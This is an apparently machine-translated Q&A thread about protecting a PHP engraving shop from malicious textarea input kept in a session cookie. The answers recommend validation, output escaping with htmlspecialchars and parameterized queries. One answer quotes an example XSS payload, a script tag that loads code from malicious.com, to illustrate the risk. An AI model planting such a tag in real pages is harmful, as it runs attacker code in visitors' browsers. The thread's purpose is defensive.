2012-03-19 5 views
2

入力が単にセッションクッキーに格納されている場合、テキストエリアからのユーザ入力に対して自分自身を守るために何か特別な処理を行う必要がありますか?ユーザテキストアーム入力に対する保護

Imカスタムテキストで刻むことができる商品を販売しています。ユーザは、テキストエリアに彫刻したいテキストを入力すると "想定"されており、このテキストはセッションクッキーに、&その他のデータを選択したアイテムとともに保存されます。

今は、セッションクッキーに保存する前にnl2brを使用してから、ページに戻って表示するときにstripslashesを使用します。

悪質なコード(htmlentitiesなど)から身を守るために何か他の処理を行う必要がありますか?あなたの入力のための

おかげで(しゃれが意図していない!)

+0

問題が発生しない限り、どうして質問しますか?あなたはあなたがしていることを認識していますか? – hakre

+0

それは動作します、私はちょうど私がハッキング試みなどに開放されているかどうかわかりません。 – JROB

+1

どうやってできますか?彫刻機に特定の文字列を渡すと、セキュリティ上の問題が発生する可能性があります。どのモデルを使用していますか? – hakre

答えて

4

az 0-9などの特定の文字のみを許可する場合は、入力を検証します。 <>のような文字を使用しない場合は、検証してください。

一般的な経験則として、入力を入力したまま保存し、ページや他の媒体に印刷する前に処理します。処理すると、nl2br()htmlentities()に実行されます。

通常、XMLなどのWebサービスのように将来データを他の形式に出力することができるため、HTMLなどの処理が行われない中立の形式でデータを保存する方がよいでしょう。異なって処理される。

クッキーではなくセッション変数に格納します。セッション変数はサーバー上に保存され、ブラウザーや他のユーザーはアクセスできません。クッキーに保存すると、改ざんされる可能性があり、変更された可能性があるため、アクセスするたびに入力を再検証する必要があります。

最終的にデータベースにデータを格納する場合は、SQLインジェクション用にエスケープする必要があります。その方法は、データベースとのインターフェースに使用するライブラリーによって異なりますが、パラメーター化された照会またはプリペアドステートメントが望ましいです。

+0

"中立的な形でデータを保存する" - 素晴らしい点! +1 – Philip

+0

データをニュートラルな形式で保存するということは、そのデータを表示するすべての人が、a)データが悪意のあると認識し、b)毎回セキュリティを実行する必要があることを意味します。しかし、私は前にHTML用に処理されたデータを扱っており、あなたが正しいと思います。 – Noumenon

2

攻撃のための最初の最も明白な機会が直接HTML入力になります。あなたのテキストエリアに誰かが<script src="http://malicious.com/ddos.js" />を入力したと想像してください。あなたのPHPコードは、それが.jsコードを実行する方法で出力しますか?

第2に、データはどのように彫刻機に送られますか?最も一般的なのは、後で使用するためにデータベースに格納されているか、または彫刻家の作業待ち行列に電子メールで送信されることです。

データベースに入れている場合は、PDOのようなラッパーを調べて、入力を処理することができます。

あなた自身や他人にメールを送信する場合は、そこに危険な情報を入れないように注意する必要があります。 phpのmail()関数は自動的に$messageがヘッダを変更しないようにします。 http://www.php.net/manual/en/function.mail.php

他の方法がある場合は、Googleまでご連絡ください。その他の懸念事項があります。

1

変数をテキストエリアボックスに表示する前にhtmlspecialchars()を実行する必要があります。

これは、悪意のあるHTMLコードが、実行される代わりにテキストエリア内に安全に表示されるようにします。

変数を表示する他の場所(例:電子メールまたは管理者インターフェイスでは、htmlspecialchars()も実行する必要があります。

単純に、データベースに保存すると変数をエスケープすることも忘れないでください。そうすれば、人々はデータベースクエリを混乱させることはありません。

(表示時htmlspecialchars()を行うための別のアプローチは、それがセッション変数に格納される前に、ユーザーの入力にstrip_tags()を実行している。しかし、思考のより堅牢な方法がある上に示唆よう表示に入力をサニタイズされるだろう、 IMHO。

関連する問題